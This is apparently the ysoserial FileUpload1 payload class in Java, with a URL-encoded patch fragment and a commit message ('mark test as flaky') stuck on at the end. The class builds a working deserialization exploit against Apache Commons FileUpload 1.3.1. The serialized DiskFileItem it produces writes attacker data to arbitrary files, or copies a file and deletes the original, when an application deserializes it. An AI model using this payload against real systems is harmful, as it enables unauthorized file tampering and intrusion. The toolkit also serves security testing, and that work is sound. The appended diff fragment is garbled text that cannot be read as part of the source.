package ysoserial.payloads;


import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * Gadget chain:
 * DiskFileItem.readObject()
 *
 * Arguments:
 * - copyAndDelete;sourceFile;destDir
 * - write;destDir;ascii-data
 * - writeB64;destDir;base64-data
 * - writeOld;destFile;ascii-data
 * - writeOldB64;destFile;base64-data
 *
 * Yields:
 * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
 * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
 * - 1.3.1+: write data to a more or less random file in an arbitrary directory
 *
 * @author mbechler
 */
@Dependencies ( {
    "commons-fileupload:commons-fileupload:1.3.1",
    "commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAtLeast(7);
    }

    public DiskFileItem getObject ( String command ) throws Exception {

        String[] parts = command.split(";");

        if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
            return copyAndDelete(parts[ 1 ], parts[ 2 ]);
        }
        else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else {
            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
        }
    }


    public void release ( DiskFileItem obj ) throws Exception {
        // otherwise the finalizer deletes the file
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
        Reflections.setFieldValue(obj, "dfos", dfos);
    }

    private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
    }


    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
    private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
        return makePayload(data.length + 1, dir, dir + "/whatever", data);
    }


    // writes data to an arbitrary file
    private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
        return makePayload(data.length + 1, file + "\0", file, data);
    }


    private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
        // if thresh < written length, delete outputFile after copying to repository temp file
        // otherwise write the contents to repository temp file
        File repository = new File(repoPath);
        DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
        File outputFile = new File(filePath);
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
        OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
        os.write(data);
        Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
        Reflections.setFieldValue(diskFileItem, "dfos", dfos);
        Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
        return diskFileItem;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(FileUpload1.class, args);
    }

}

@@ -1359,16 +1359,51 @@
 Version%22
+, flaky = %22possible race condition%22
 )%0A@Autho

mark test as flaky